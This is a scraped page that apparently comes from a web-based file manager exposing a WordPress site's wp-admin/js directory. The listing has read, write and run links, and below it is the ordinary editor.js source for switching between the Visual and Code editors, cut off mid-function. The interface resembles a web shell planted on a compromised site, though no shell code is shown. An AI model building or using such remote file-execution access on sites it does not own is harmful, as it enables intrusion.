at path:ROOT / wp-admin / js / editor.js
run:R W Run
DIR
2026-01-24 15:10:18
R W Run
9.94 KB
2024-11-13 19:02:13
R W Run
7.82 KB
2024-11-13 19:02:13
R W Run
13.32 KB
2023-09-17 22:51:24
R W Run
10.03 KB
2023-09-17 22:51:24
R W Run
12.74 KB
2021-02-23 19:45:04
R W Run
9.11 KB
2022-04-08 20:07:18
R W Run
18.39 KB
2020-07-27 23:35:02
R W Run
10.09 KB
2023-02-02 16:36:32
R W Run
16.62 KB
2021-03-18 19:01:03
R W Run
10.48 KB
2022-04-08 20:07:18
R W Run
9.93 KB
2024-02-11 19:14:19
R W Run
8.36 KB
2022-04-08 20:07:18
R W Run
68.23 KB
2025-05-01 01:03:19
R W Run
30.2 KB
2025-05-01 01:03:19
R W Run
10.43 KB
2021-03-18 19:01:03
R W Run
8.26 KB
2021-03-18 19:01:03
R W Run
9.05 KB
2021-02-23 19:45:04
R W Run
295.49 KB
2025-12-03 06:22:56
R W Run
116.77 KB
2025-12-03 06:22:56
R W Run
118.54 KB
2025-12-03 06:22:56
R W Run
54.22 KB
2025-12-03 06:22:56
R W Run
77.12 KB
2024-09-04 11:48:32
R W Run
34.49 KB
2025-04-16 02:33:33
R W Run
34.09 KB
2025-04-16 02:33:33
R W Run
15.73 KB
2025-04-16 02:33:33
R W Run
44.19 KB
2025-04-16 02:33:33
R W Run
22.2 KB
2025-04-16 02:33:33
R W Run
48.68 KB
2024-09-04 11:48:32
R W Run
20.21 KB
2023-02-02 16:36:32
R W Run
51.08 KB
2025-12-03 06:22:56
R W Run
19.86 KB
2025-12-03 06:22:56
R W Run
14.74 KB
2023-07-17 22:03:26
R W Run
12.49 KB
2023-10-09 21:31:27
R W Run
10.73 KB
2023-10-09 21:31:27
R W Run
47.05 KB
2024-11-13 19:02:13
R W Run
22.23 KB
2024-11-13 19:02:13
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
27.24 KB
2024-11-13 19:02:13
R W Run
16.49 KB
2024-11-13 19:02:13
R W Run
14.69 KB
2021-03-18 19:01:03
R W Run
10 KB
2021-03-18 19:01:03
R W Run
30.17 KB
2021-11-03 19:40:00
R W Run
7.95 KB
2021-02-23 19:45:04
R W Run
7.49 KB
2021-02-23 19:45:04
R W Run
10.97 KB
2021-03-18 19:01:03
R W Run
8.78 KB
2021-03-18 19:01:03
R W Run
8.35 KB
2021-02-23 19:45:04
R W Run
7.67 KB
2022-04-08 20:07:18
R W Run
10.46 KB
2021-01-22 12:32:03
R W Run
8.2 KB
2023-02-02 16:36:32
R W Run
13.68 KB
2024-11-13 19:02:13
R W Run
9.46 KB
2024-11-13 19:02:13
R W Run
68.23 KB
2025-12-03 06:22:56
R W Run
37.14 KB
2025-12-03 06:22:56
R W Run
11.21 KB
2021-01-22 12:32:03
R W Run
8.17 KB
2021-01-22 12:32:03
R W Run
8.38 KB
2023-06-23 23:09:29
R W Run
7.91 KB
2023-06-23 23:09:29
R W Run
14 KB
2021-03-18 19:01:03
R W Run
9.42 KB
2023-02-02 16:36:32
R W Run
45.76 KB
2025-02-12 01:13:52
R W Run
25.48 KB
2025-02-12 01:13:52
R W Run
25.57 KB
2025-04-16 02:33:33
R W Run
13.68 KB
2025-04-16 02:33:33
R W Run
17.74 KB
2024-09-04 11:48:32
R W Run
12.11 KB
2024-09-04 11:48:32
R W Run
40.99 KB
2024-11-13 19:02:13
R W Run
25.05 KB
2024-11-13 19:02:13
R W Run
7.93 KB
2020-07-07 18:55:04
R W Run
7.68 KB
2020-07-07 18:55:04
R W Run
20.23 KB
2023-12-28 15:27:15
R W Run
13.21 KB
2023-12-28 15:27:15
R W Run
13.17 KB
2024-11-13 19:02:13
R W Run
9.28 KB
2024-11-13 19:02:13
R W Run
10.28 KB
2024-11-13 19:02:13
R W Run
8.61 KB
2024-11-13 19:02:13
R W Run
17.96 KB
2021-03-18 19:01:03
R W Run
10.08 KB
2023-02-02 16:36:32
R W Run
12.71 KB
2024-02-18 22:16:14
R W Run
9.29 KB
2024-02-18 22:16:14
R W Run
13.03 KB
2025-12-03 06:22:56
R W Run
9.49 KB
2025-12-03 06:22:56
R W Run
31.84 KB
2025-04-16 02:33:33
R W Run
18.51 KB
2025-04-16 02:33:33
R W Run
62.02 KB
2025-12-03 06:22:56
R W Run
33.58 KB
2025-12-03 06:22:56
R W Run
116.45 KB
2025-12-03 06:22:56
R W Run
54.39 KB
2025-12-03 06:22:56
R W Run
24.99 KB
2025-12-03 06:22:56
R W Run
14.89 KB
2025-12-03 06:22:56
R W Run
9.32 KB
2021-03-18 19:01:03
R W Run
7.74 KB
2021-03-18 19:01:03
R W Run
29.63 KB
2021-03-18 19:01:03
R W Run
19.39 KB
2023-02-02 16:36:32
R W Run
14.59 KB
2020-07-27 23:35:02
R W Run
8.57 KB
2023-02-02 16:36:32
R W Run
7.8 KB
2021-03-18 19:01:03
R W Run
7.53 KB
2021-03-18 19:01:03
R W Run
error_log
📄editor.js
1/**
2 * @output wp-admin/js/editor.js
3 */
4
5window.wp = window.wp || {};
6
7( function( $, wp ) {
8 wp.editor = wp.editor || {};
9
10 /**
11 * Utility functions for the editor.
12 *
13 * @since 2.5.0
14 */
15 function SwitchEditors() {
16 var tinymce, $$,
17 exports = {};
18
19 function init() {
20 if ( ! tinymce && window.tinymce ) {
21 tinymce = window.tinymce;
22 $$ = tinymce.$;
23
24 /**
25 * Handles onclick events for the Visual/Code tabs.
26 *
27 * @since 4.3.0
28 *
29 * @return {void}
30 */
31 $$( document ).on( 'click', function( event ) {
32 var id, mode,
33 target = $$( event.target );
34
35 if ( target.hasClass( 'wp-switch-editor' ) ) {
36 id = target.attr( 'data-wp-editor-id' );
37 mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html';
38 switchEditor( id, mode );
39 }
40 });
41 }
42 }
43
44 /**
45 * Returns the height of the editor toolbar(s) in px.
46 *
47 * @since 3.9.0
48 *
49 * @param {Object} editor The TinyMCE editor.
50 * @return {number} If the height is between 10 and 200 return the height,
51 * else return 30.
52 */
53 function getToolbarHeight( editor ) {
54 var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0],
55 height = node && node.clientHeight;
56
57 if ( height && height > 10 && height < 200 ) {
58 return parseInt( height, 10 );
59 }
60
61 return 30;
62 }
63
64 /**
65 * Switches the editor between Visual and Code mode.
66 *
67 * @since 2.5.0
68 *
69 * @memberof switchEditors
70 *
71 * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`.
72 * @param {string} mode The mode you want to switch to. Default: `toggle`.
73 * @return {void}
74 */
75 function switchEditor( id, mode ) {
76 id = id || 'content';
77 mode = mode || 'toggle';
78
79 var editorHeight, toolbarHeight, iframe,
80 editor = tinymce.get( id ),
81 wrap = $$( '#wp-' + id + '-wrap' ),
82 htmlSwitch = wrap.find( '.switch-tmce' ),
83 tmceSwitch = wrap.find( '.switch-html' ),
84 $textarea = $$( '#' + id ),
85 textarea = $textarea[0];
86
87 if ( 'toggle' === mode ) {
88 if ( editor && ! editor.isHidden() ) {
89 mode = 'html';
90 } else {
91 mode = 'tmce';
92 }
93 }
94
95 if ( 'tmce' === mode || 'tinymce' === mode ) {
96 // If the editor is visible we are already in `tinymce` mode.
97 if ( editor && ! editor.isHidden() ) {
98 return false;
99 }
100
101 // Insert closing tags for any open tags in QuickTags.
102 if ( typeof( window.QTags ) !== 'undefined' ) {
103 window.QTags.closeAllTags( id );
104 }
105
106 editorHeight = parseInt( textarea.style.height, 10 ) || 0;
107
108 addHTMLBookmarkInTextAreaContent( $textarea );
109
110 if ( editor ) {
111 editor.show();
112
113 // No point to resize the iframe in iOS.
114 if ( ! tinymce.Env.iOS && editorHeight ) {
115 toolbarHeight = getToolbarHeight( editor );
116 editorHeight = editorHeight - toolbarHeight + 14;
117
118 // Sane limit for the editor height.
119 if ( editorHeight > 50 && editorHeight < 5000 ) {
120 editor.theme.resizeTo( null, editorHeight );
121 }
122 }
123
124 focusHTMLBookmarkInVisualEditor( editor );
125 } else {
126 tinymce.init( window.tinyMCEPreInit.mceInit[ id ] );
127 }
128
129 wrap.removeClass( 'html-active' ).addClass( 'tmce-active' );
130 tmceSwitch.attr( 'aria-pressed', false );
131 htmlSwitch.attr( 'aria-pressed', true );
132 $textarea.attr( 'aria-hidden', true );
133 window.setUserSetting( 'editor', 'tinymce' );
134
135 } else if ( 'html' === mode ) {
136 // If the editor is hidden (Quicktags is shown) we don't need to switch.
137 if ( editor && editor.isHidden() ) {
138 return false;
139 }
140
141 if ( editor ) {
142 // Don't resize the textarea in iOS.
143 // The iframe is forced to 100% height there, we shouldn't match it.
144 if ( ! tinymce.Env.iOS ) {
145 iframe = editor.iframeElement;
146 editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0;
147
148 if ( editorHeight ) {
149 toolbarHeight = getToolbarHeight( editor );
150 editorHeight = editorHeight + toolbarHeight - 14;
151
152 // Sane limit for the textarea height.
153 if ( editorHeight > 50 && editorHeight < 5000 ) {
154 textarea.style.height = editorHeight + 'px';
155 }
156 }
157 }
158
159 var selectionRange = null;
160
161 selectionRange = findBookmarkedPosition( editor );
162
163 editor.hide();
164
165 if ( selectionRange ) {
166 selectTextInTextArea( editor, selectionRange );
167 }
168 } else {
169 // There is probably a JS error on the page.
170 // The TinyMCE editor instance doesn't exist. Show the textarea.
171 $textarea.css({ 'display': '', 'visibility': '' });
172 }
173
174 wrap.removeClass( 'tmce-active' ).addClass( 'html-active' );
175 tmceSwitch.attr( 'aria-pressed', true );
176 htmlSwitch.attr( 'aria-pressed', false );
177 $textarea.attr( 'aria-hidden', false );
178 window.setUserSetting( 'editor', 'html' );
179 }
180 }
181
182 /**
183 * Checks if a cursor is inside an HTML tag or comment.
184 *
185 * In order to prevent breaking HTML tags when selecting text, the cursor
186 * must be moved to either the start or end of the tag.
187 *
188 * This will prevent the selection marker to be inserted in the middle of an HTML tag.
189 *
190 * This function gives information whether the cursor is inside a tag or not, as well as
191 * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag,
192 * e.g. `[caption]<img.../>..`.
193 *
194 * @param {string} content The test content where the cursor is.
195 * @param {number} cursorPosition The cursor position inside the content.
196 *
197 * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag.
198 */
199 function getContainingTagInfo( content, cursorPosition ) {
200 var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ),
201 lastGtPos = content.lastIndexOf( '>', cursorPosition );
202
203 if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) {
204 // Find what the tag is.
205 var tagContent = content.substr( lastLtPos ),
206 tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ );
207
208 if ( ! tagMatch ) {
209 return null;
210 }
211
212 var tagType = tagMatch[2],
213 closingGt = tagContent.indexOf( '>' );
214
215 return {
216 ltPos: lastLtPos,
217 gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character.
218 tagType: tagType,
219 isClosingTag: !! tagMatch[1]
220 };
221 }
222 return null;
223 }
224
225 /**
226 * Checks if the cursor is inside a shortcode
227 *
228 * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to
229 * move the selection marker to before or after the shortcode.
230 *
231 * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the
232 * `<img/>` tag inside.
233 *
234 * `[caption]<span>ThisIsGone</span><img .../>[caption]`
235 *
236 * Moving the selection to before or after the short code is better, since it allows to select
237 * something, instead of just losing focus and going to the start of the content.
238 *
239 * @param {string} content The text content to check against.
240 * @param {number} cursorPosition The cursor position to check.
241 *
242 * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag.
243 * Information about the wrapping shortcode tag if it's wrapped in one.
244 */
245 function getShortcodeWrapperInfo( content, cursorPosition ) {
246 var contentShortcodes = getShortCodePositionsInText( content );
247
248 for ( var i = 0; i < contentShortcodes.length; i++ ) {
249 var element = contentShortcodes[ i ];
250
251 if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) {
252 return element;
253 }
254 }
255 }
256
257 /**
258 * Gets a list of unique shortcodes or shortcode-lookalikes in the content.
259 *
260 * @param {string} content The content we want to scan for shortcodes.
261 */
262 function getShortcodesInText( content ) {
263 var shortcodes = content.match( /\[+([\w_-])+/g ),
264 result = [];
265
266 if ( shortcodes ) {
267 for ( var i = 0; i < shortcodes.length; i++ ) {
268 var shortcode = shortcodes[ i ].replace( /^\[+/g, '' );
269
270 if ( result.indexOf( shortcode ) === -1 ) {
271 result.push( shortcode );
272 }
273 }
274 }
275
276 return result;
277 }
278
279 /**
280 * Gets all shortcodes and their positions in the content
281 *
282 * This function returns all the shortcodes that could be found in the textarea content
283 * along with their character positions and boundaries.
284 *
285 * This is used to check if the selection cursor is inside the boundaries of a shortcode
286 * and move it accordingly, to avoid breakage.
287 *
288 * @link adjustTextAreaSelectionCursors
289 *
290 * The information can also be used in other cases when we need to lookup shortcode data,
291 * as it's already structured!
292 *
293 * @param {string} content The content we want to scan for shortcodes
294 */
295 function getShortCodePositionsInText( content ) {
296 var allShortcodes = getShortcodesInText( content ), shortcodeInfo;
297
298 if ( allShortcodes.length === 0 ) {
299 return [];
300 }
301
302 var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ),
303 shortcodeMatch, // Define local scope for the variable to be used in the loop below.
304 shortcodesDetails = [];
305
306 while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) {
307 /**
308 * Check if the shortcode should be shown as plain text.
309 *
310 * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode
311 * and just shows it as text.
312 */
313 var showAsPlainText = shortcodeMatch[1] === '[';
314
315 shortcodeInfo = {
316 shortcodeName: shortcodeMatch[2],
317 showAsPlainText: showAsPlainText,
318 startIndex: shortcodeMatch.index,
319 endIndex: shortcodeMatch.index + shortcodeMatch[0].length,
320 length: shortcodeMatch[0].length
321 };
322
323 shortcodesDetails.push( shortcodeInfo );
324 }
325
326 /**
327 * Get all URL matches, and treat them as embeds.
328 *
329 * Since there isn't a good way to detect if a URL by itself on a line is a previewable
330 * object, it's best to treat all of them as such.
331 *
332 * This means that the selection will capture the whole URL, in a similar way shrotcodes
333 * are treated.
334 */
335 var urlRegexp = new RegExp(
336 '(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi'
337 );
338
339 while ( shortcodeMatch = urlRegexp.exec( content ) ) {
340 shortcodeInfo = {
341 shortcodeName: 'url',
342 showAsPlainText: false,
343 startIndex: shortcodeMatch.index,
344 endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length,
345 length: shortcodeMatch[ 0 ].length,
346 urlAtStartOfContent: shortcodeMatch[ 1 ] === '',
347 urlAtEndOfContent: shortcodeMatch[ 3 ] === ''
348 };
349
350 shortcodesDetails.push( shortcodeInfo );
351 }
352
353 return shortcodesDetails;
354 }
355
356 /**
357 * Generate a cursor marker element to be inserted in the content.
358 *
359 * `span` seems to be the least destructive element that can be used.
360 *
361 * Using DomQuery syntax to create it, since it's used as both text and as a DOM element.
362 *
363 * @param {Object} domLib DOM library instance.
364 * @param {string} content The content to insert into the cursor marker element.
365 */
366 function getCursorMarkerSpan( domLib, content ) {
367 return domLib( '<span>' ).css( {
368 display: 'inline-block',
369 width: 0,
370 overflow: 'hidden',
371 'line-height': 0
372 } )
373 .html( content ? content : '' );
374 }
375
376 /**
377 * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes.
378 *
379 * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render
380 * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible
381 * to break the syntax and render the HTML tag or shortcode broken.
382 *
383 * @link getShortcodeWrapperInfo
384 *
385 * @param {string} content Textarea content that the cursors are in
386 * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions
387 *
388 * @return {{cursorStart: number, cursorEnd: number}}
389 */
390 function adjustTextAreaSelectionCursors( content, cursorPositions ) {
391 var voidElements = [
392 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input',
393 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr'
394 ];
395
396 var cursorStart = cursorPositions.cursorStart,
397 cursorEnd = cursorPositions.cursorEnd,
398 // Check if the cursor is in a tag and if so, adjust it.
399 isCursorStartInTag = getContainingTagInfo( content, cursorStart );
400
401 if ( isCursorStartInTag ) {
402 /**
403 * Only move to the start of the HTML tag (to select the whole element) if the tag
404 * is part of the voidElements list above.
405 *
406 * This list includes tags that are self-contained and don't need a closing tag, according to the
407 * HTML5 specification.
408 *
409 * This is done in order to make selection of text a bit more consistent when selecting text in
410 * `<p>` tags or such.
411 *
412 * In cases where the tag is not a void element, the cursor is put to the end of the tag,
413 * so it's either between the opening and closing tag elements or after the closing tag.
414 */
415 if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) {
416 cursorStart = isCursorStartInTag.ltPos;
417 } else {
418 cursorStart = isCursorStartInTag.gtPos;
419 }
420 }
421
422 var isCursorEndInTag = getContainingTagInfo( content, cursorEnd );
423 if ( isCursorEndInTag ) {
424 cursorEnd = isCursorEndInTag.gtPos;
425 }
426
427 var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart );
428 if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) {
429 /**
430 * If a URL is at the start or the end of the content,
431 * the selection doesn't work, because it inserts a marker in the text,
432 * which breaks the embedURL detection.
433 *
434 * The best way to avoid that and not modify the user content is to
435 * adjust the cursor to either after or before URL.
436 */
437 if ( isCursorStartInShortcode.urlAtStartOfContent ) {
438 cursorStart = isCursorStartInShortcode.endIndex;
439 } else {
440 cursorStart = isCursorStartInShortcode.startIndex;
441 }
442 }
443
444 var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd );
445 if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) {
446 if ( isCursorEndInShortcode.urlAtEndOfContent ) {
447 cursorEnd = isCursorEndInShortcode.startIndex;
448 } else {
449 cursorEnd = isCursorEndInShortcode.endIndex;
450 }
451 }
452
453 return {
454 cursorStart: cursorStart,
455 cursorEnd: cursorEnd
456 };
457 }
458
459 /**
460 * Adds text selection markers in the editor textarea.
461 *
462 * Adds selection markers in the content of the editor `textarea`.
463 * The method directly manipulates the `textarea` content, to allow TinyMCE plugins
464 * to run after the markers are added.
465 *
466 * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object
467 */
468 function addHTMLBookmarkInTextAreaContent( $textarea ) {
469 if ( ! $textarea || ! $textarea.length ) {
470 // If no valid $textarea object is provided, there's nothing we can do.
471 return;
472 }
473
474 var textArea = $textarea[0],
475 textAreaContent = textArea.value,
476
477 adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, {
478 cursorStart: textArea.selectionStart,
479 cursorEnd: textArea.selectionEnd
480 } ),
481
482 htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart,
483 htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd,
484
485 mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single',
486
487 selectedText = null,
488 cursorMarkerSkeleton = getCursorMarkerSpan( $$, '&#65279;' ).attr( 'data-mce-type','bookmark' );
489
490 if ( mode === 'range' ) {
491 var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ),
492 bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' );
493
494 selectedText = [
495 markedText,
496 bookMarkEnd[0].outerHTML
497 ].join( '' );
498 }
499
500 textArea.value = [
501 textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position.
502 cursorMarkerSkeleton.clone() // Cursor/selection start marker.
503 .addClass( 'mce_SELRES_start' )[0].outerHTML,
504 selectedText, // Selected text with end cursor/position marker.
505 textArea.value.slice( htmlModeCursorEndPosition ) // Text from last cursor/selection position to end.
506 ].join( '' );
507 }
508
509 /**
510 * Focuses the selection markers in Visual mode.
511 *
512 * The method checks for existing selection markers inside the editor DOM (Visual mode)
513 * and create a selection between the two nodes using the DOM `createRange` selection API.
514 *
515 * If there is only a single node, select only the single node through TinyMCE's selection API
516 *
517 * @param {Object} editor TinyMCE editor instance.
518 */
519 function focusHTMLBookmarkInVisualEditor( editor ) {
520 var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ),
521 endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 );
522
523 if ( startNode.length ) {
524 editor.focus();
525
526 if ( ! endNode.length ) {
527 editor.selection.select( startNode[0] );
528 } else {
529 var selection = editor.getDoc().createRange();
530
531 selection.setStartAfter( startNode[0] );
532 selection.setEndBefore( endNode[0] );
533
534 editor.selection.setRng( selection );
535 }
536 }
537
538 scrollVisualModeToStartElement( editor, startNode );
539
540 removeSelectionMarker( startNode );
541 removeSelectionMarker( endNode );
542
543 editor.save();
544 }
545
546 /**
547 * Removes selection marker and the parent node if it is an empty paragraph.
548 *
549 * By default TinyMCE wraps loose inline tags in a `<p>`.
550 * When removing selection markers an empty `<p>` may be left behind, remove it.
551 *
552 * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$`
553 */
554 function removeSelectionMarker( $marker ) {
555 var $markerParent = $marker.parent();
556
557 $marker.remove();
558
559 //Remove empty paragraph left over after removing the marker.
560 if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) {
561 $markerParent.remove();
562 }
563 }
564
565 /**
566 * Scrolls the content to place the selected element in the center of the screen.
567 *
568 * Takes an element, that is usually the selection start element, selected in
569 * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly
570 * in the middle of the screen.
571 *
572 * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted
573 * from the window height, to get the proper viewport window, that the user sees.
574 *
575 * @param {Object} editor TinyMCE editor instance.
576 * @param {Object} element HTMLElement that should be scrolled into view.
577 */
578 function scrollVisualModeToStartElement( editor, element ) {
579 var elementTop = editor.$( element ).offset().top,
580 TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top,
581
582 toolbarHeight = getToolbarHeight( editor ),
583
584 edTools = $( '#wp-content-editor-tools' ),
585 edToolsHeight = 0,
586 edToolsOffsetTop = 0,
587
588 $scrollArea;
589
590 if ( edTools.length ) {
591 edToolsHeight = edTools.height();
592 edToolsOffsetTop = edTools.offset().top;
593 }
594
595 var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,
596
597 selectionPosition = TinyMCEContentAreaTop + elementTop,
598 visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight );
599
600 // There's no need to scroll if the selection is inside the visible area.
601 if ( selectionPosition < visibleAreaHeight ) {
602 return;
603 }
604
605 /**
606 * The minimum scroll height should be to the top of the editor, to offer a consistent
607 * experience.
608 *
609 * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and
610 * subtracting the height. This gives the scroll position where the top of the editor tools aligns with
611 * the top of the viewport (under the Master Bar)
612 */
613 var adjustedScroll;
614 if ( editor.settings.wp_autoresize_on ) {
615 $scrollArea = $( 'html,body' );
616 adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight );
617 } else {
618 $scrollArea = $( editor.contentDocument ).find( 'html,body' );
619 adjustedScroll = elementTop;
620 }
621
622 $scrollArea.animate( {
623 scrollTop: parseInt( adjustedScroll, 10 )
624 }, 100 );
625 }
626
627 /**
628 * This method was extracted from the `SaveContent` hook in
629 * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`.
630 *
631 * It's needed here, since the method changes the content a bit, which confuses the cursor position.
632 *
633 * @param {Object} event TinyMCE event object.
634 */
635 function fixTextAreaContent( event ) {
636 // Keep empty paragraphs :(
637 event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
638 }
639
640 /**
641 * Finds the current selection position in the Visual editor.
642 *
643 * Find the current selection in the Visual editor by inserting marker elements at the start
644 * and end of the selection.
645 *
646 * Uses the standard DOM selection API to achieve that goal.
647 *
648 * Check the notes in the comments in the code below for more information on some gotchas
649 * and why this solution was chosen.
650 *
651 * @param {Object} editor The editor where we must find the selection.
652 * @return {(null|Object)} The selection range position in the editor.
653 */
654 function findBookmarkedPosition( editor ) {
655 // Get the TinyMCE `window` reference, since we need to access the raw selection.
656 var TinyMCEWindow = editor.getWin(),
657 selection = TinyMCEWindow.getSelection();
658
659 if ( ! selection || selection.rangeCount < 1 ) {
660 // no selection, no need to continue.
661 return;
662 }
663
664 /**
665 * The ID is used to avoid replacing user generated content, that may coincide with the
666 * format specified below.
667 * @type {string}
668 */
669 var selectionID = 'SELRES_' + Math.random();
670
671 /**
672 * Create two marker elements that will be used to mark the start and the end of the range.
673 *
674 * The elements have hardcoded style that makes them invisible. This is done to avoid seeing
675 * random content flickering in the editor when switching between modes.
676 */
677 var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ),
678 startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ),
679 endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' );
680
681 /**
682 * Inspired by:
683 * @link https://stackoverflow.com/a/17497803/153310
684 *
685 * Why do it this way and not with TinyMCE's bookmarks?
686 *
687 * TinyMCE's bookmarks are very nice when working with selections and positions, BUT
688 * there is no way to determine the precise position of the bookmark when switching modes, since
689 * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify
690 * HTML code and so on. In this process, the bookmark markup gets lost.
691 *
692 * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML
693 * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will
694 * throw off the positioning.
695 *
696 * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the
697 * selection.
698 *
699 * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates
700 * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to
701 * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the
702 * selection may start in the middle of one node and end in the middle of a completely different one. If we
703 * wrap the selection in another node, this will create artifacts in the content.
704 *
705 * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection.
706 * This helps us not break the content and also gives us the option to work with multi-node selections without
707 * breaking the markup.
708 */
709 var range = selection.getRangeAt( 0 ),
710 startNode = range.startContainer,
711 startOffset = range.startOffset,
712 boundaryRange = range.cloneRange();
713
714 /**
715 * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup,
716 * which we have to account for.
717 */
718 if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) {
719 startNode = editor.$( '[data-mce-selected]' )[0];
720
721 /**
722 * Marking the start and end element with `data-mce-object-selection` helps
723 * discern when the selected object is a Live Preview selection.
724 *
725 * This way we can adjust the selection to properly select only the content, ignoring
726 * whitespace inserted around the selected object by the Editor.
727 */
728 startElement.attr( 'data-mce-object-selection', 'true' );
729 endElement.attr( 'data-mce-object-selection', 'true' );
730
731 editor.$( startNode ).before( startElement[0] );
732 editor.$( startNode ).after( endElement[0] );
733 } else {
734 boundaryRange.collapse( false );
735 boundaryRange.insertNode( endElement[0] );
736
737 boundaryRange.setStart( startNode, startOffset );
738 boundaryRange.collapse( true );
739 boundaryRange.insertNode( startElement[0] );
740
741 range.setStartAfter( startElement[0] );
742 range.setEndBefore( endElement[0] );
743 selection.removeAllRanges();
744 selection.addRange( range );
745 }
746
747 /**
748 * Now the editor's content has the start/end nodes.
749 *
750 * Unfortunately the content goes through some more changes after this step, before it gets inserted
751 * in the `textarea`. This means that we have to do some minor cleanup on our own here.
752 */
753 editor.on( 'GetContent', fixTextAreaContent );
754
755 var content = removep( editor.getContent() );
756
757 editor.off( 'GetContent', fixTextAreaContent );
758
759 startElement.remove();
760 endElement.remove();
761
762 var startRegex = new RegExp(
763 '<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)'
764 );
765
766 var endRegex = new RegExp(
767 '(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>'
768 );
769
770 var startMatch = content.match( startRegex ),
771 endMatch = content.match( endRegex );
772
773 if ( ! startMatch ) {
774 return null;
775 }
776
777 var startIndex = startMatch.index,
778 startMatchLength = startMatch[0].length,
779 endIndex = null;
780
781 if (endMatch) {
782 /**
783 * Adjust the selection index, if the selection contains a Live Preview object or not.
784 *
785 * Check where the `data-mce-object-selection` attribute is set above for more context.
786 */
787 if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
788 startMatchLength -= startMatch[1].length;
789 }
790
791 var endMatchIndex = endMatch.index;
792
793 if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
794 endMatchIndex -= endMatch[1].length;
795 }
796
797 // We need to adjust the end position to discard the length of the range start marker.
798 endIndex = endMatchIndex - startMatchLength;
799 }
800
801 return {
802 start: startIndex,
803 end: endIndex
804 };
805 }
806
807 /**
808 * Selects text in the TinyMCE `textarea`.
809 *
810 * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`.
811 *
812 * For `selection` parameter:
813 * @link findBookmarkedPosition
814 *
815 * @param {Object} editor TinyMCE's editor instance.
816 * @param {Object} selection Selection data.
817 */
818 function selectTextInTextArea( editor, selection ) {
819 // Only valid in the text area mode and if we have selection.
820 if ( ! selection ) {
821 return;
